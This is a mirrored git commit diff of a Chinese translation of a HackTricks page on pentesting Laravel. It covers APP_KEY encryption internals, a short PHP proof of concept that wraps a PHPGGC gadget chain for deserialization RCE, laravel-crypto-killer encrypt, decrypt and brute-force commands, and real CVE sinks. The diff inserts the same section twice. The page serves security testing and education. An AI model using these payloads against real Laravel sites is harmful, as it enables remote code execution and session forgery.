mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/laravel.md']
This commit is contained in:
parent
ad67ecfce3
commit
bc89ce7c7b
@ -1,9 +1,94 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
有关此信息,请阅读这里: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
|
||||
Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
|
||||
最终**发送给客户端**的原始密文是**一个 JSON 对象的 Base64**,例如:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`,而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。
|
||||
|
||||
最小 PoC (框架 ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
将生成的字符串注入到任何易受攻击的 `decrypt()` 接收点(路由参数、cookie、会话等)。
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个过程并添加了一个方便的 **bruteforce** 模式:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
脚本透明地支持 CBC 和 GCM 有效负载,并重新生成 HMAC/tag 字段。
|
||||
|
||||
---
|
||||
|
||||
## 真实世界的漏洞模式
|
||||
|
||||
| 项目 | 漏洞接收点 | Gadget 链 |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 被启用时 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
利用工作流程始终是:
|
||||
1. 获取 `APP_KEY`(默认示例、Git 泄漏、config/.env 泄漏或暴力破解)
|
||||
2. 使用 **PHPGGC** 生成 gadget
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. 通过漏洞参数/cookie 传递有效负载 → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## 通过 cookie 暴力破解大规模发现 APP_KEY
|
||||
|
||||
因为每个新的 Laravel 响应至少设置 1 个加密 cookie(`XSRF-TOKEN` 和通常的 `laravel_session`),**公共互联网扫描器(Shodan, Censys, …)泄漏数百万个密文**,可以离线攻击。
|
||||
|
||||
Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* 数据集 2024 年 7 月 » 580 k tokens,**3.99 % 密钥被破解**(≈23 k)
|
||||
* 数据集 2025 年 5 月 » 625 k tokens,**3.56 % 密钥被破解**
|
||||
* >1 000 服务器仍然易受旧版 CVE-2018-15133 的影响,因为令牌直接包含序列化数据。
|
||||
* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板(UltimatePOS, Invoice Ninja, XPanel, …)一起提供的硬编码默认值。
|
||||
|
||||
私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒,将完整数据集破解时间缩短至 <2 分钟。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
* [Laravel: APP_KEY 泄漏分析](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 详细说明 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Laravel Tricks
|
||||
## Laravel 技巧
|
||||
|
||||
### 调试模式
|
||||
|
||||
@ -16,7 +101,7 @@
|
||||
|
||||
### .env
|
||||
|
||||
Laravel 将用于加密 cookies 和其他凭据的 APP 保存在一个名为 `.env` 的文件中,可以通过某些路径遍历访问:`/../.env`
|
||||
Laravel 将用于加密 cookies 和其他凭据的 APP 保存到一个名为 `.env` 的文件中,可以通过以下路径遍历访问:`/../.env`
|
||||
|
||||
Laravel 还会在调试页面中显示此信息(当 Laravel 发现错误并激活时会出现)。
|
||||
|
||||
@ -83,7 +168,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
```
|
||||
### Laravel 反序列化 RCE
|
||||
|
||||
易受攻击的版本:5.5.40 和 5.6.x 直至 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
易受攻击的版本:5.5.40 和 5.6.x 通过 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
您可以在这里找到有关反序列化漏洞的信息:[https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
@ -94,9 +179,91 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
|
||||
另一个反序列化漏洞:[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
### Laravel SQL 注入
|
||||
### Laravel SQL注入
|
||||
|
||||
在这里阅读有关此内容的信息:[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
### Laravel SQL注入
|
||||
|
||||
在这里阅读有关此内容的信息:[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & 加密内部机制 (Laravel \u003e=5.6)
|
||||
|
||||
Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
|
||||
最终 **发送到客户端** 的原始密文是 **一个 JSON 对象的 Base64**,例如:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
"value": "Base64(ciphertext)",
|
||||
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`,而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。
|
||||
|
||||
最小 PoC (框架 ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
|
||||
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
|
||||
```
|
||||
将生成的字符串注入任何易受攻击的 `decrypt()` 接收点(路由参数、cookie、会话等)。
|
||||
|
||||
---
|
||||
|
||||
## laravel-crypto-killer 🧨
|
||||
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) 自动化整个过程并添加了一个方便的 **bruteforce** 模式:
|
||||
```bash
|
||||
# Encrypt a phpggc chain with a known APP_KEY
|
||||
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
|
||||
|
||||
# Decrypt a captured cookie / token
|
||||
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
该脚本透明地支持 CBC 和 GCM 有效负载,并重新生成 HMAC/tag 字段。
|
||||
|
||||
---
|
||||
|
||||
## 真实世界的漏洞模式
|
||||
|
||||
| 项目 | 漏洞接收点 | Gadget 链 |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 被启用时 | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
利用工作流程始终是:
|
||||
1. 获取 `APP_KEY`(默认示例、Git 泄漏、config/.env 泄漏或暴力破解)
|
||||
2. 使用 **PHPGGC** 生成 gadget
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. 通过漏洞参数/cookie 传递有效负载 → **RCE**
|
||||
|
||||
---
|
||||
|
||||
## 通过 cookie 暴力破解大规模发现 APP_KEY
|
||||
|
||||
因为每个新的 Laravel 响应至少设置 1 个加密 cookie(`XSRF-TOKEN` 和通常的 `laravel_session`),**公共互联网扫描器(Shodan, Censys, …)泄漏数百万个密文**,可以离线攻击。
|
||||
|
||||
Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* 数据集 2024 年 7 月 » 580 k tokens,**3.99 % 密钥被破解**(≈23 k)
|
||||
* 数据集 2025 年 5 月 » 625 k tokens,**3.56 % 密钥被破解**
|
||||
* >1 000 服务器仍然易受旧版 CVE-2018-15133 的攻击,因为令牌直接包含序列化数据。
|
||||
* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板(UltimatePOS, Invoice Ninja, XPanel, …)一起提供的硬编码默认值。
|
||||
|
||||
私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒,将完整数据集破解时间缩短至 <2 分钟。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
* [Laravel: APP_KEY 泄漏分析](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 详细说明 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user